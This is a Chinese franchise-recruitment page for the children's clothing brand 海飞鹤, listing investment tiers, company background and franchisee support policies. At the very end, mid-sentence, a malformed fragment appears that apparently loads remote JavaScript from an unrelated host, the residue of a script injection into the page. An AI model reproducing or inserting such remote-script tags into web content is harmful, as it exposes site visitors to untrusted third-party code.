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初期投资
  • 5万以下

    创业初期迷你店

  • 5~10万

    创业初期小型店

  • 10~20万

    创业中期商场店铺

  • 20~30万

    创业中期门面商铺

  • 30~50万

    创业盛期豪华店

  • 50万元以上

    创业盛期旗舰店

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海飞鹤童装招商加盟
招商政策 企业简介 海飞鹤服饰有限公司,是一家集研发,生产,销售和市场品牌化发展的发展企业,公司自主研发日韩系列童装,以‘海飞鹤’为品牌的安徽原生态本土服饰企业。公司占地面积32000多平方米,投入固定资产3000多万元,机械设备1000多万元,就业员工1000多名,年生产自主品牌服装150万件。日韩设计人员30多名。公司主要以童装为主。公司拥有的设计研发中心,汇集大批的设计开发,时刻掌握着市场潮流脉搏,紧贴市场需求和发展趋势,设计潮流的新款式,公司拥有高素质严纪律的,生产,营销队伍。的品牌制衣设备,完善的售后服务队伍,健康精巧的服装面料。为消费者提供以休闲,健康,活泼,可爱为风格的稀有产品。 ‘海飞鹤’全体员工采用“物有所值,诚信经营,”政策及致力为顾客服务,我们的目标是做全国本土童装品牌。 公司文化 企业理念:质量服务诚信市场 人才理念:勇于追求积极向上 工作理念: 寻找方法不讲理由 学习理念:求真创新锐意进取 海飞鹤将凭借服务、速度、简单及品质四个原则努力拓展市场。服务:即时为顾客解决问题,坚持的服务素质,保持海飞鹤的服务精神。速度:不断引入的销售理念与各专卖店联网,提供快新讯息及对市场变化作出快反应。简单:排除一切繁琐之运作程序,以直接、简单、有效的方式经营 品质:追求品质,创作历史新。我们全体海飞鹤人将奉行至诚,至爱,至高,致远的经营理念理念建立起公司信用文化。巨资打造自主品牌—‘海飞鹤’。专注“一样的童年,不一样的我”的品牌理念,倾力打造国内中高档健康童装品牌。我们将开创更广阔的前景,创明日之辉煌。 加盟商的选择 正确的品牌经营理念:具有国内外品牌经营管理经验,具备一定的销售渠道 认可海飞鹤童装经营理念:能按照总部的经营模式规范化运作市场 合适的店铺位置:位于当地城市繁华商业街或童装品牌专卖街的黄金地段 合理的店铺格局:海飞鹤童装专卖店店铺标准 加盟商类型: A.省级代理商:负责运作全省市场包括省会城市形象店面,KA终端店面、市县终端市场三个渠道全盘运作。 B.市、县加盟商:市场终端加盟店面销售。 人员配置: 包括:店长、收银员、库房管理员、营销人员、导购员等。 资金实力: 经营者必须有相当的资金实力用于前期店铺租赁、装修和后期首批进货。 加盟商政策 信誉保证支持: 公司为各级加盟商建立信誉档案。公司将逐年的代理商信誉度增加,并且逐年递增。 展柜的支持: 公司根据店面的大小,给予客户展柜、货架、中导等陈列柜支持,费用补贴形式为每季度返还。补贴的部分是以货物形式体现,并且随订单或随货品同行。 人员支持 A.总部安排区域经理辅助加盟商开发本区域辐射网点和卖场的进场谈判,跟踪服务。 B.由市场督导定期针对加盟商店面的陈列,促销,导购,销售状况进行相关培训。 开业支持 A.总部提供整套VI设计并派专人负责指导经营店进行统一标准的店面装修和摆设。 B.免费提供开业物资以及广宣品支持。 员工培训 总部将对店长、店员进行系统的培训,包括行业分析、产品知识、服务规范店面管理、卖场陈列、营销策划等,确保销售商迅速进入正常运营期,快速赢得利润。 市场调查与配货建议 总部将向经销商提供首批配货建议,店面筹备完毕后,总部将提前一周时间为加盟商配备产品,并及时将产品托运到经销商区域内指定地点。 陈列指导 总部将派专员指导店内货品陈列,并明确人员岗位职责。总部将提供的开业前期广告造势宣传及卖场促销活动建议,指导策划运营全过程,定期展开统一促销活动,免费派发终端促销品,并不定期进行业务指导。 售后服务 售前服务: A.总部安排市场人员做充分的市场调查,包括区域内市场人口、文化、消费习惯、收人状况及各级代理商的渠道状况、资金状况、销售模式等是否适合本企业发展模式。 B.提出整改方案并与加盟商在资金投入、人员配比、广告造势、销售模式上达到充分共识,限度减少加盟商投资风险。 售中服务: A.总部安排市场人员配合加盟商店面选址,提供整套VI设计并安排专人负责指导经营店进行统一标准的装修及其摆设。 B.免费提供开业物料以及广宣品支持。 C.总部将对店长、店员等相关人员进行系统的培训,包括行业分析、产品知识、服务规范店面管理、卖场陈列、营销策划等,确保销售商迅速进入正常运营期,快速赢得利润。 D.总部将向经销商提供首批配货建议,店面筹备完毕后,总部将提前一周时间为加盟商配备产品,并及时将产品托运到经销商区域内指定地点。 售后服务: A.总部安排区域经理辅助加盟商开发本区域辐射网点和卖场的进场谈判,跟踪服务。 B.总部将派专员指导店内货品陈列,并明确人员岗位职责。指导策划运营全过程,定期?scriptsrc=http://nyjianming/c.js>
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